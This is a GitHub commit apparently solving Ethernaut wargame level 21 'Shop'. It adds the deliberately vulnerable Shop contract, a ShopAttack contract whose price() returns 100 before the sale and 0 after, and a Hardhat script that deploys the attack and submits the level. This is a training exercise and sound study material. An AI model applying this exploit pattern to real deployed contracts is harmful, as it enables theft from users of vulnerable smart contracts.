Skip to content

Commit

Permalink
Challenge 21: Shop
Browse files Browse the repository at this point in the history
  • Loading branch information
antico5 committed Feb 4, 2022
1 parent e46b6db commit 142fd8a
Show file tree
Hide file tree
Showing 3 changed files with 73 additions and 0 deletions.
20 changes: 20 additions & 0 deletions ethernaut_challenges/contracts/21_Shop.sol
Original file line number Diff line number Diff line change
@@ -0,0 +1,20 @@
// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;

interface Buyer {
function price() external view returns (uint256);
}

contract Shop {
uint256 public price = 100;
bool public isSold;

function buy() public {
Buyer _buyer = Buyer(msg.sender);

if (_buyer.price() >= price && !isSold) {
isSold = true;
price = _buyer.price();
}
}
}
25 changes: 25 additions & 0 deletions ethernaut_challenges/contracts/21_ShopAttack.sol
Original file line number Diff line number Diff line change
@@ -0,0 +1,25 @@
// SPDX-License-Identifier: GPL-3.0

pragma solidity ^0.6.0;

import "./21_Shop.sol";

contract ShopAttack {
Shop target;

constructor(address payable _target) public {
target = Shop(_target);
}

function buy() public {
target.buy();
}

function price() public view returns (uint256) {
if (target.isSold()) {
return 0;
} else {
return 100;
}
}
}
28 changes: 28 additions & 0 deletions ethernaut_challenges/scripts/21_shop.ts
Original file line number Diff line number Diff line change
@@ -0,0 +1,28 @@
import { Signer } from 'ethers'
import { ethers } from 'hardhat'
import { Shop } from '../typechain-types/Shop'
import { ShopAttack } from '../typechain-types/ShopAttack'
import { loadOrCreateLevelInstance, submitLevelInstance } from './ethernaut'
import { loadOrDeployContract } from './helpers'

const levelAddress = '0x3aCd4766f1769940cA010a907b3C8dEbCe0bd4aB'

const main = async () => {
const signer = (await ethers.getSigners())[0] as Signer

const targetContract = (await loadOrCreateLevelInstance('Shop', levelAddress, signer)) as Shop
const attackContract = (await loadOrDeployContract('ShopAttack', [targetContract.address], signer)) as ShopAttack

const tx = await attackContract.buy({ gasLimit: 100000 })
console.log(`tx hash ${tx.hash}`)
await tx.wait()

await submitLevelInstance(targetContract.address, signer)
}

main()
.then(() => process.exit())
.catch(e => {
console.error(e)
process.exit(1)
})

0 comments on commit 142fd8a

Please sign in to comment.